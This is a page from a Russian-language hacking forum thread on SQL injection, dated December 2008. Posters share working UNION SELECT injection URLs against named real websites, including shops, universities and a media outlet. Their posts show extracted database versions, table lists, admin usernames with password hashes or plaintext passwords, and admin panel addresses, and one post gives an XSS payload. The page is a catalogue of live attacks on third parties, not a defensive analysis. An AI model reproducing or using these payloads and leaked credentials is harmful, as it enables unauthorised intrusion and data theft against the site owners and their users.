SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 347 of 798
  1. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    www.softstandart.com, тИЦ = 10

    Code:
    http://www.softstandart.com/feedback.php?id=-1%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--+0
http://www.softstandart.com/?ks_cat=9999%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--+0
    вторая инъекция - вывод всех записей

    version() - 5.0.67-log
    database() - softstandart
    user() - [email protected]

    здесь вероятно логин и хэш админа:
    Code:
    http://www.softstandart.com/?ks_cat=9999%27+union+select+1,2,3,4,concat(id,':',login,':',pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+user--+0
    интуиция говорит мне что он быстро подбирается и подходит к админке: http://www.softstandart.com/admin
    -----------------------------

    www.bfpais.ru, тИЦ = 10

    Code:
    http://www.bfpais.ru/index.php3?id=6191&nid=-1+union+select+1,2,3,concat(version(),0x3A,user(),0x3A,database()),5,6,7,8,9--
    version() - 5.0.67
    user() - bfpais@localhost
    database() - bfpais


    Code:
    http://www.bfpais.ru/index.php3?id=6191&nid=-1+union+select+1,2,3,4,5,6,concat(id,0x3A,nick,0x3A,passwd,0x3A,access),8,9+from+_user+limit+0,1--
    как мне кажется, есть большая вероятность что здесь пароль вообще даже не хэширован и подходит к админке: http://www.bfpais.ru/admin
    -----------------------------

    www.infoliolib.info, тИЦ = 160

    Code:
    http://www.infoliolib.info/author.php?aid=-1+union+select+1,concat(version(),0x3A,user(),0x3A,database()),3--
    version() - 5.0.51a-community
    user() - infoli_user@localhost
    database() - infoli_infolio
    -----------------------------


    www.studentam.by

    Code:
    http://www.studentam.by/index.php?m=6&cl=l&mn=1&id=-1+union+select+version(),database(),user()--
    version() - 5.0.51a-6-log
    database() - studentamby
    user() - studentamby@localhost
     
    #6921 bons, 1 Dec 2008
  2. a.su.s

    a.su.s Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    42
    Likes Received:
    20
    Reputations:
    0
    Веб дизайн студия :)
    http://www.archont.info/ PR=4

    Code:
    http://www.archont.info/albom.php?event=showimg&id_pic=-2+union+select+1,database() ,3,4,5,6,7,8,user(),10,11,12--
    version() - 4.1.22-standard
    user() - artper_newsite@localhost
    database() - artper_newsite
     
    #6922 a.su.s, 1 Dec 2008
    Last edited: 1 Dec 2008
    1 person likes this.
  3. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.old-pr o.ru/catalog_item.php?id=-44+union+select+version()--&cat=

    5.0.67-log :)

    http://www.lev elpro68.ru/index.php?id=-31+union+select+1,2,3,unhex(hex(concat_ws(0x3a,login,0x3a,password))),5,6,7,8+from+users--&PHPSESSID=769d439282f763586a8f8e25dddc402a

    http://www.vis aro.ru/index.php?id=-31+union+select+1,2,3,4,5,unhex(hex(login)),7,8+from+users--&PHPSESSID=3ad8b5826f2f814541516c5f4a1af0e1

    http://sanve k.ru/index.php?id=-45+union+select+1,2,3,4,concat_ws(0x3a,name,0x3a,login,0x3a,password),6,7,8+from+wm_users--&type=C
    Administrator:::admin:::2

    http://deve lop.renet.ru/catsection.php?id=-19+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
    4.1.22-log
     
    #6923 plutus, 1 Dec 2008
    Last edited: 2 Dec 2008
  4. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.kawacolor.com.ar/detalle_tienda.php?id=-1+union+select+1,2,concat_ws(0x3a3a,email,pass,nivelPermiso),4,5,6,7,8+from+usuarios+limit+0,1/*

    login:[email protected]
    pass:admin

    http://www.kawacolor.com.ar/admin


    Аргентина плиять.. =)
     
    #6924 Cennarios, 1 Dec 2008
    1 person likes this.
  5. Delduvat

    Delduvat New Member

    Joined:
    2 Dec 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    http://www.old-pro.ru/news.php?id=-3+UNION+SELECT+pass,login,rand_id+from+u47894_emaika.shop_admin+limit+0,1--


    version: 5.0.67-log
    login: 131973
    pass: eeemaika

    http://www.old-pro.ru/news.php?id=-3+UNION+SELECT+login,pass,mail+from+u47894.settings+limit+0,1--
    login: admin
    pass: abidqlyv

    В админку http://www.old-pro.ru/admin/ почему-то не заходит...
     
    #6925 Delduvat, 2 Dec 2008
    Last edited: 2 Dec 2008
  6. a.su.s

    a.su.s Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    42
    Likes Received:
    20
    Reputations:
    0
    PR=7 тИЦ=1300
    http://www.popmech.ru/

    Code:
    http://www.popmech.ru/part/?articleid=-1+union+select+user()--
    version() - 4.0.26
    user() - [email protected]
     
    #6926 a.su.s, 2 Dec 2008
  7. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://abiturient.ed u.uz/index.php?o=info&op=tush&id=-153+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14--

    5.1.15-beta-log

    http://www.castin g.uz/anketa.php?id=-169+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48--

    4.1.14-standard

    http://www.pharm a.uz/poleznoe.php?id=-1+union+select+1,concat(user,0x3a,pass),3,4,5+from+userlist--

    version 5

    http://music.bishke k.kg/cgi-bin/mzinfo.cgi?id=-604+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14--

    4.1.19-log

    http://www.summersch ool.manas.kg/index.php?id=-31+union+select+1,2,unhex(hex(version())),4--

    4.1.10

    http://www.jo blist.tj/showvacancy.php?id=-1257+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--

    4.1.22-standard-log
     
    #6927 plutus, 3 Dec 2008
    Last edited: 3 Dec 2008
  8. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://www.trianglearts.org/batiscafo/proceso.php?id=-19+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,user(),14/*

    Database Version:4.0.20a-nt
    User name:batiscafo@localhost
    Database name: trianglearts_batiscafo

    http://www.wopl.org/tips-detail.php?id=-3+union+select+1,2,version()/*

    Database Version: 5.0.45
    Database name: wopl
    User name: remote@localhost

    http://www.telespeak.co.uk/course-detail.php?id=-3+union+select+1,version(),user(),4,5--

    version() 5.0.51a-log
    user() [email protected]
    database() db250573002

    http://www.fatsalesman.com/detail.php?propertyid=3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--&listingtype=boat

    Database Version: 5.0.15-nt
    Database name: fat
    User name: ot@serv

    http://ukbusinessbroadband.co.uk/detail.php?name=pipex_PRO&id=3+union+select+1,version(),user(),4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19,20,21,22,23/*

    Database Version:4.1.22-standard
    User name :pipquant_pipquan@localhost
    Database name:pipquant_pipex

    http://klinika.vetdoctor.ru/right_column.detail.php?id=-3+union+select+version(),2/*

    Database Version:5.0.22
    Database name:u00088_klinika
    User name :u00088_klinika'@'localhost
     
    #6928 spherics, 3 Dec 2008
  9. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.atlantisstorm.com/popupproduct.php?ID=-3+union+select+1,2,version(),4,5--
    5.0.67-community
     
    #6929 plutus, 3 Dec 2008
  10. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://honors.uoregon.edu/faculty/profiles/index.php?id=5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18+from+INFORMATION_SCHEMA.TABLES--
     
    #6930 hackmen, 3 Dec 2008
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    mysql user:
    msuskin
    -------
    mysql password:
    6fb107c04bba1a1d
    -------
    file_priv:
    Y
     
    #6931 Pashkela, 3 Dec 2008
    1 person likes this.
  12. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://football.vtsnet.ru/view_article.php?id=-2+union+select+1,2,concat(user(),0x3a,database(),0x3a,version()),4/*
    db_football@localhost:db_football:4.0.18-log

    XSS:
    Code:
    http://football.vtsnet.ru/search_request.php
    Вводим в поле поиска :
    Code:
    "><script>alert(/xss/)</script><"
    Code:
    http://football.vtsnet.ru/statistics/players_personal.php?season=current&league=3&id=-1+union+select+1,2,user(),4,5,6,7,8,9/*
    p.s вобщем в двиге очень много скулей=)еще там стоит форум PHPBB , версию неполучилось определитЬ,и прочесть данные из таблы phpbb_users...наверно туплю гдето....=///


    PR: 4
    ТИЦ: 90
     
    #6932 ..::TROYAN::.., 3 Dec 2008
    2 people like this.
  13. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://en.apa.az/news.php?id=-86587+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--

    version 5
     
    #6933 plutus, 4 Dec 2008
  14. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.grid.iu.edu/news/news.php?id=9999+union+select+1,2,3,4,version(),6,7,8--

    rssuser@nukufetau-b

    4.1.20-log
     
    #6934 hackmen, 4 Dec 2008
    Last edited: 4 Dec 2008
    1 person likes this.
  15. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Version: 4.1.20
    User: malankara_root@localhost
    Dbname: malankara_data

    members found in DB
    news found in DB

    админка по адресу admin
     
    #6935 $n@ke, 4 Dec 2008
    2 people like this.
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Code:
    http://www.rozymnuk.com.ua/?chek=listgoods&id_categories=1/**/union/**/select/**/1,2,version(),4,5,6/*
    Версия MySQL:
    5.0.22
    -------
    Имя базы:
    rozymnuk_comua
    -------
    Юзер:
    rozymnuk_comua@localhost
    -------
    @@version_compile_os:
    unknown-freebsd6.0
    -------
    Таблицы:

    catalog
    categories
    chapters
    clipart
    clipart_group
    orders
    orders_goods
    orders_old
    pweek
    recalls
    ri_categories
     
    #6936 Pashkela, 4 Dec 2008
  17. Ghost0ff

    Ghost0ff New Member

    Joined:
    18 Nov 2008
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    Пашкела. Исправляю... http://www.rozymnuk.com.ua/?chek=listgoods&id_categories=1/**/union/**/select/**/1,2,version(),4,5,6/*

    Таблицы:
    catalog
    categories
    chapters
    clipart
    clipart_group
    orders
    orders_goods
    orders_old
    pweek
    recalls
    ri_categories
    ri_prices
    saytnews
    subscribe
    users
    • pwd
    • email
    • nick
    voitbase
     
    #6937 Ghost0ff, 4 Dec 2008
  18. Neoveneficus

    Neoveneficus Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    235
    Likes Received:
    126
    Reputations:
    23
    Звукозаписывающий лейбл
    Code:
    http://www.cd-maximum.ru/index.php?lang=ru&hid=999+union+select+1,concat(id,0x3a,name,0x3a,usr,0x3a,passwd)+from+users+limit+0,1/*
    Version: 4.0.27
    Database: cdmax
    User: [email protected]
     
    #6938 Neoveneficus, 4 Dec 2008
    Last edited: 4 Dec 2008
  19. WAR!9G

    WAR!9G Elder - Старейшина

    Joined:
    24 Jun 2007
    Messages:
    112
    Likes Received:
    89
    Reputations:
    1
    http://shkola.lv/index.php?mode=lesson&lsnid=-1+union+select+1,2,3,4,5/*
    DATABASE: shkola
    VERSION: 4.1.21
    USER: shkola@localhost
     
    #6939 WAR!9G, 4 Dec 2008
    Last edited: 4 Dec 2008
  20. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.gsd.umn.edu/article.php?id=9999+union+select+database(),version(),3,4,5,6,7,8,9,10,11,12,user(),14,15,16--

    gsd_main_db
    4.1.22-log
    [email protected]

    UPD

    http://www.assumption.edu/admin/hotnews/story.php?id=99999+union+select+1,username,3,passw ord,5,6,7,8+from+users--

    msun:95c90aa47733b9023c318d9914606339

    UPD+

    http://www.asuci.uci.edu/news/story.php?id=999999+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17--
    5.0.67-community-nt ;)
     
    #6940 hackmen, 4 Dec 2008
    Last edited: 5 Dec 2008
    2 people like this.
(You must log in or sign up to post here.)
Page 347 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.